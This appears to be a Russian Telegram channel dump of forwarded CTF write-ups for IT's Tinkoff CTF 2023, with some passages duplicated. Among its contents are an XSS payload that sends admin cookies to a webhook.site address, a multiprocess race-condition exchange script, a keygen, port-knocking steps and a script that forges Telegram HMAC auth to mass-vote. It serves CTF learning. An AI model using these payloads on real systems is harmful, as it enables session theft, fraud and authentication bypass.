Forwarded from Dmitry
NAMCAP
Gamechanger (Pacman)
android, .apk
Если покопаться в коде,
в классе с запросами в сеть есть debug функция loginAdmin, где прописан пароль админа.
Запускаем приложение, заходим в Settings, там написан логин админа.
На форме входа вводим логин и пароль админа, но у него включена 2FA.
Высылается одноразовый пароль.
Приложение спамит уведомлениями при этом.
При логине нам выдало токен, но все остальные методы не работают, требуют 2FA.
Уязвимость заключается в том, что работает метод просмотра уведомлений с токеном до того как будет пройдена 2FA.
Конструируем в repeater запрос уведомлений с токеном админа и там будет OTP.
Заходим и переключаем в настройках Gamechanger.
Gamechanger (Pacman)
android, .apk
Если покопаться в коде,
в классе с запросами в сеть есть debug функция loginAdmin, где прописан пароль админа.
Запускаем приложение, заходим в Settings, там написан логин админа.
На форме входа вводим логин и пароль админа, но у него включена 2FA.
Высылается одноразовый пароль.
Приложение спамит уведомлениями при этом.
При логине нам выдало токен, но все остальные методы не работают, требуют 2FA.
Уязвимость заключается в том, что работает метод просмотра уведомлений с токеном до того как будет пройдена 2FA.
Конструируем в repeater запрос уведомлений с токеном админа и там будет OTP.
Заходим и переключаем в настройках Gamechanger.
Forwarded from Innokentiy 🍏 🍎 Memskoy
Песчаный холм: когда в AES ключ совпадает с IV, достаточно иметь данные вида X + 0 + X, где X — 16 каких-то байт, 0 — 16 нулевых байт, тогда в результате декодинга спалится ключ
Forwarded from Innokentiy 🍏 🍎 Memskoy
Forwarded from Dimisi
Мегастог: XSS в поле address формы регистрации. Крадем куки админа <noscript>document.location='https://webhook.site/776b5bec-1809-462d-a9fa-280952a93dc6?cookie='+document.cookie;</noscript> и открываем admin-dashboard.
Forwarded from Dimisi
Свой среди чужих
Дан хост с Ubuntu, даны креды от юзера в хомяке которого флаг, но настроена двухфакторка. Лезем в /etc/pam.d, смотрим что файл su изменен недавно, читаем его и обращаем внимание на обязательную либу: pam_tgotp.so. Находим её, читаем строки с помощью strings, в одной из строк токен бота. Дампим бота по токену, получаем код ОТП, авторизуемся.
Дан хост с Ubuntu, даны креды от юзера в хомяке которого флаг, но настроена двухфакторка. Лезем в /etc/pam.d, смотрим что файл su изменен недавно, читаем его и обращаем внимание на обязательную либу: pam_tgotp.so. Находим её, читаем строки с помощью strings, в одной из строк токен бота. Дампим бота по токену, получаем код ОТП, авторизуемся.
Forwarded from Dimisi
Пиццаувелечитель:
Ошибка в бизнеслогике на оркугление при обмене Беконника на Гастрофранк. За одну итерацию выигрываем 2 беконника. А потом ещё в мульипоточность ставим и помоему рэйс кондишен получаем, но это не точно.
Ошибка в бизнеслогике на оркугление при обмене Беконника на Гастрофранк. За одну итерацию выигрываем 2 беконника. А потом ещё в мульипоточность ставим и помоему рэйс кондишен получаем, но это не точно.
import requests as req
from multiprocessing import Process
url = "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/api/exchange"
cookie = {"__cfduid":"d751382105124a1e58fff8cbd6071320", "session": "fd525692-47fa-4fb1-aca2-c6401f7ad51a"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Origin": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru",
"Referer": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/account",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers"
}
first_data = {"amount": 1,"cur_from":"Гастрофранк", "cur_to": "Беконик",
"submit": "%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}
second_data = {"amount":428, "cur_from":"Беконик", "cur_to":"Гастрофранк",
"submit":"%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}
def givme_money():
for _ in range(2000):
req.post(url, headers=headers, cookies=cookie, data=first_data)
req.post(url, headers=headers, cookies=cookie, data=second_data)
print("Попытка: ", _)
for _ in range(15):
p = Process(target=givme_money)
p.start()
❤1👍1
Forwarded from Oleg Korobeynikov
привет! По решению задач CTF. Увидел что еще нет решения для задача "Терминатор данных". Я накидал, добавь, пожалуйста, https://skillful-scallion-98f.notion.site/fc7d1dab24fa47cb89bb3d09ae368ac1
skillful-scallion-98f on Notion
Терминатор данных | Notion
После задания понимаем, что там мобильная апка и скорее всего нам потребуется эмулятор и снифер трафика для него.
👍5
Forwarded from Dmitry Karasev
Пиццаувеличитель. Шиитакоин вообще не учавствует. Просто делаем себе сколько-то Бекоников, и видим, что на маленьких переводах курс в Гастрофранки остается одинаковым. Сравниваем
3 Беконика в Шиитакоин = 0.01, за 99 получаем 0.33 Гастрофранка
Обратный курс обмена - 0.33 Гастрофранка = 141.9 Беконика. Есть большая разница.
Решение
Перехватываем запрос на перевод из Беконика в Гастрофранки с помощью любого сниффера (я в Fiddler) и повторяем его пока не закончатся. В UI переводим все Гастрофранки в Беконики и повторяем пока не наберем 20 Гастрофранков=)
PS запросов пришлось отправлять много, сайт вроде не зависает=)
3 Беконика в Шиитакоин = 0.01, за 99 получаем 0.33 Гастрофранка
Обратный курс обмена - 0.33 Гастрофранка = 141.9 Беконика. Есть большая разница.
Решение
Перехватываем запрос на перевод из Беконика в Гастрофранки с помощью любого сниффера (я в Fiddler) и повторяем его пока не закончатся. В UI переводим все Гастрофранки в Беконики и повторяем пока не наберем 20 Гастрофранков=)
PS запросов пришлось отправлять много, сайт вроде не зависает=)
Всем привет 👋
Поскольку скоро Тинькофф отключит свои задания из прошедшего CTF, я решил: раз уж здесь собралось 400+ человек (большое всем спасибо, кстати, вообще не ожидал, что так много народу здесь будет :D ) то могу прорекламировать... свой другой канал!
Этот канал будет классическим сборником вопросов, касающихся Java, но с одной изюминкой... вопросы создаются при помощи GPT-4 (и редактируются, проверяются и публикуются мной).
Ссылка на канал: https://news.1rj.ru/str/quizjava, по всем вопросам, замечаниям и предложениям писать мне в личку: @EvgenyKurmysa :)
Поскольку скоро Тинькофф отключит свои задания из прошедшего CTF, я решил: раз уж здесь собралось 400+ человек (большое всем спасибо, кстати, вообще не ожидал, что так много народу здесь будет :D ) то могу прорекламировать... свой другой канал!
Этот канал будет классическим сборником вопросов, касающихся Java, но с одной изюминкой... вопросы создаются при помощи GPT-4 (и редактируются, проверяются и публикуются мной).
Ссылка на канал: https://news.1rj.ru/str/quizjava, по всем вопросам, замечаниям и предложениям писать мне в личку: @EvgenyKurmysa :)
Telegram
Java Questions
Здесь будут публиковаться различные вопросы, связанные с Java, раз в 2 часа (возможно, в будущем появятся другие языки).
Вопросы создаются с помощью GPT-3.5/4 и публикуются кожаным мешком @EvgenyKurmysa :)
Вопросы создаются с помощью GPT-3.5/4 и публикуются кожаным мешком @EvgenyKurmysa :)
😁7👍5🤓3🤔1🐳1
Forwarded from Кошачьи бредни (Daniil159x)
Мои врайтапы с IT’s Tinkoff CTF 2023
Катали втроём и даже заняли 9 место в опытной лиге. Сам стф был очень интересным, хотелось бы стереть себе память и сыграть снова.
Успел написать только 4 таска: капичаттер, свой среди чужих, полный назад, Grand Theft Korovany.
https://daniil159x.notion.site/IT-s-Tinkoff-CTF-2023-0e4a954b642e440ca250a087f309fca3?pvs=4
Считаю какой-то результат достигнут, какие-то выводы были сделаны.
#ctf #writeups
Катали втроём и даже заняли 9 место в опытной лиге. Сам стф был очень интересным, хотелось бы стереть себе память и сыграть снова.
Успел написать только 4 таска: капичаттер, свой среди чужих, полный назад, Grand Theft Korovany.
https://daniil159x.notion.site/IT-s-Tinkoff-CTF-2023-0e4a954b642e440ca250a087f309fca3?pvs=4
Считаю какой-то результат достигнут, какие-то выводы были сделаны.
#ctf #writeups
Daniil159x's Notion on Notion
IT’s Tinkoff CTF 2023
По классике, на выходных был CTF, в этот раз сильно рекламируемый от Тинькофф, а таски пилили SPbCTF. Качество тасок было на высоте. Каждый решенный таск давал то самое чувство, ради которого и играешь. Стоит заметить, что инфра была стабильна (или её оперативно…
Forwarded from Хакер Володя
Написал райтапы на 7 тасков "лиги опытных" с прошедшего на выходных Tinkoff CTF. Спасибо разработчикам заданий из SpbCTF, получилось жоско и не уцуцужно.
https://hacker-volodya.notion.site/IT-s-Tinkoff-CTF-2023-28a32a3686e7453087ccff0b42742ed1?pvs=4
https://hacker-volodya.notion.site/IT-s-Tinkoff-CTF-2023-28a32a3686e7453087ccff0b42742ed1?pvs=4
hacker-volodya on Notion
IT’s Tinkoff CTF 2023 | Notion
На выходных состоялся CTF под айти-брендом Тинькофф. В течение 36 часов мы втроём с друганами ковыряли 30 тасков разной степени сложности и упоротости. Думаю, это был один из лучших российских цтфов за последнее время: за разработку заданий отвечали ребята…
❤2
👌5🤡1
Forwarded from أبو
window.onload = function() {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const msg = urlParams.get('msg');
if (msg) {
document.getElementById("message").innerText = msg;
}
}
function checkLicense() {
const license = document.getElementById("license").value;
if (isLicenseValid(license)) {
const form = document.createElement("form");
document.body.appendChild(form);
form.action = "/validate";
form.method = "POST";
const input = document.createElement("input");
input.type = "hidden";
input.name = "license";
input.value = license;
form.appendChild(input);
form.submit();
} else {
document.getElementById("message").innerText = "Invalid license key!";
}
}
function isLicenseValid(license) {
if (!isKeyFormatValid(license)) {
return false;
}
const [, serial, checksum] = license.replace(/-/g, "").match(/(.{16})(.{4})/);
if (!isSerialChecksumValid(serial, checksum)) {
return false;
}
const seed = serial.substring(0, 8);
if (!isSeedFormatValid(seed)) {
return false;
}
const subkey = getSubkeyFromSeed(seed, 36, 1, 137);
return serial.substring(8, 10) === subkey;
}
function isKeyFormatValid(key) {
return key.length === 24 && key.replace(/-/g, "").length === 20;
}
function isSerialChecksumValid(serial, checksum) {
return getChecksumForSerial(serial) === checksum;
}
function isSeedFormatValid(seed) {
return seed.match(/[A-F0-9]{8}/) !== null;
}
function getChecksumForSerial(serial) {
let sum1 = 175;
let sum2 = 86;
for (let i = 0; i < serial.length; i++) {
sum1 += serial.charCodeAt(i);
if (sum1 > 255) {
sum1 -= 255;
}
sum2 += sum1;
if (sum2 > 255) {
sum2 -= 255;
}
}
return toFixedHex((sum2 << 8) + sum1, 4);
}
function toFixedHex(value, length) {
return value.toString(16).toUpperCase().padStart(length, "0").substring(0, length);
}
function getSubkeyFromSeed(seed, shift, mod, xor) {
if (typeof seed === "string") {
seed = parseInt(seed, 16);
}
mod %= 3;
let result;
if (shift % 25 % 2 === 0) {
result = (seed >> shift & 255) ^ (255 & (seed >> mod | xor));
} else {
result = (seed >> shift & 255) ^ (seed >> mod & xor & 255);
}
return toFixedHex(result, 2);
}
исходный код
👍1
Forwarded from أبو
function generateLicenseKey() {
let seed = Math.floor(Math.random() * Math.pow(16, 8)).toString(16).toUpperCase().padStart(8, "0");
let randomSerial = Math.floor(Math.random() * Math.pow(16, 6)).toString(16).toUpperCase().padStart(6, "0");
let subkey = getSubkeyFromSeed(seed, 36, 1, 137);
let serial = seed + subkey + randomSerial;
let checksum = getChecksumForSerial(serial);
let licenseKey = serial + checksum;
licenseKey = licenseKey.replace(/(.{4})/g, "\$1-").slice(0, -1);
return licenseKey;
}Forwarded from Mufti
1. Изучаем pcap видим много всякого переписки и прочее но мы ищем антилопу, делаем поиск lopa по пакетам находим пакет № 1662.
2. Смотри ip адрес пакета 45.82.152.190. Изучаем весь сетевой траффик с указаным сервером. ip.addr == 45.82.152.190
3. Находим 20 пакетов, первые 13 udp где просто идет SYN-flag, а в ответ ACK/RST, что порт не доступен.
4. Изучаем остальнык пакеты, там tcp сессия где мы и получаем изначальную строчку, обращение происходит по порту 11111.
nc 45.82.152.190 11111
5. Пытаемся подключится к данному порту сразу и у нас ничего не выходит.
6. Пытаемся полностью эмулировать ситуацию из траффика.
Нам необходимо так же отправить udp запросы на указанные порты сервера, для этого находим последовательность портов 228 8080 9090 5555 3306 3000 135 и используем утилиту knock
7. knock -u 45.82.152.190 228 8080 9090 5555 3306 3000 135. Флаг -u используем чтобы отправлять именно udp пакеты.
После чего пытаемся подключится к нужному порту 11111 и у нас опять не выходит.
Посмотря еще раз на трафик замечаем что новый запрос на порт отправляется только после проходящего ответа от предыдущего порта, для этого ипользуем флаг -d 100 чтоб сделать задержку.
итоговая команда
knock -d 100 -u 45.82.152.190 228 8080 9090 5555 3306 3000 135
После чего соеденение по порту 11111 становится доступным используем nc 45.82.152.190 11111 вводим ключ команды и получаем флаг.
2. Смотри ip адрес пакета 45.82.152.190. Изучаем весь сетевой траффик с указаным сервером. ip.addr == 45.82.152.190
3. Находим 20 пакетов, первые 13 udp где просто идет SYN-flag, а в ответ ACK/RST, что порт не доступен.
4. Изучаем остальнык пакеты, там tcp сессия где мы и получаем изначальную строчку, обращение происходит по порту 11111.
nc 45.82.152.190 11111
5. Пытаемся подключится к данному порту сразу и у нас ничего не выходит.
6. Пытаемся полностью эмулировать ситуацию из траффика.
Нам необходимо так же отправить udp запросы на указанные порты сервера, для этого находим последовательность портов 228 8080 9090 5555 3306 3000 135 и используем утилиту knock
7. knock -u 45.82.152.190 228 8080 9090 5555 3306 3000 135. Флаг -u используем чтобы отправлять именно udp пакеты.
После чего пытаемся подключится к нужному порту 11111 и у нас опять не выходит.
Посмотря еще раз на трафик замечаем что новый запрос на порт отправляется только после проходящего ответа от предыдущего порта, для этого ипользуем флаг -d 100 чтоб сделать задержку.
итоговая команда
knock -d 100 -u 45.82.152.190 228 8080 9090 5555 3306 3000 135
После чего соеденение по порту 11111 становится доступным используем nc 45.82.152.190 11111 вводим ключ команды и получаем флаг.
🔥12
Miss Fraud (#missfraud) от @vstepanovvv
import hashlib
import hmac
import json
from base64 import b64encode
import requests
import time
import urllib3
urllib3.disable_warnings()
def calc_hmac(key, parsed_data) -> str:
sorted_keys = sorted(parsed_data.keys())
data_check_string = '\n'.join([f'{key}={parsed_data.get(key)}' for key in sorted_keys])
# auth_date=1713654433\nquery_id=AAEAIsIOAAAAAAAiwg5KOFLV\nuser={YOUR_DATA_PLS}
data_check_string = data_check_string.replace(" ", "").replace("True", "true").replace("'", '"')
#print(data_check_string.encode("utf8"))
hmac_msg = hmac.new(key, data_check_string.encode("utf8"), hashlib.sha256)
return hmac_msg.digest().hex()
def calc_query_string(parsed_data):
query_string=f'query_id={parsed_data["query_id"]}&user={user}&auth_date={parsed_data["auth_date"]}&hash={hmac_hash}'.replace('"',"%22").replace('{', '%7B').replace(',', '%2C').replace(':', '%3A').replace('}', '%7D')
query_string=f'"{query_string}"'
query_string=b64encode(query_string.encode("utf8"))
#print(query_string.decode("utf8"))
return query_string.decode("utf8")
if __name__ == "__main__":
parsed_data = {
"query_id": "AAEAIsIOAAAAAAAiwg5KOFLV",
"user": {
YOUR_DATA
},
"auth_date": "1713654433",
}
key = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Te": "trailers",
"Authorization": "",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin"
}
post_data = {"contestant_id":2937}
#print(post_data)
for i in range(70, 2000):
parsed_data["user"]["id"] = i
hmac_hash = calc_hmac(key, parsed_data)
user = json.dumps(parsed_data["user"]).replace(" ", "")
query_string = calc_query_string(parsed_data)
headers["Authorization"] = f"Bearer {query_string}"
#print(headers)
#print()
resp = requests.post("https://t-pageant-ekbooq0e.spbctf.net/api/vote", json=post_data, cookies={"__cfduid":"CFDUID"}, verify=False, headers=headers)
time.sleep(0.05)
print("Success!")
🤡5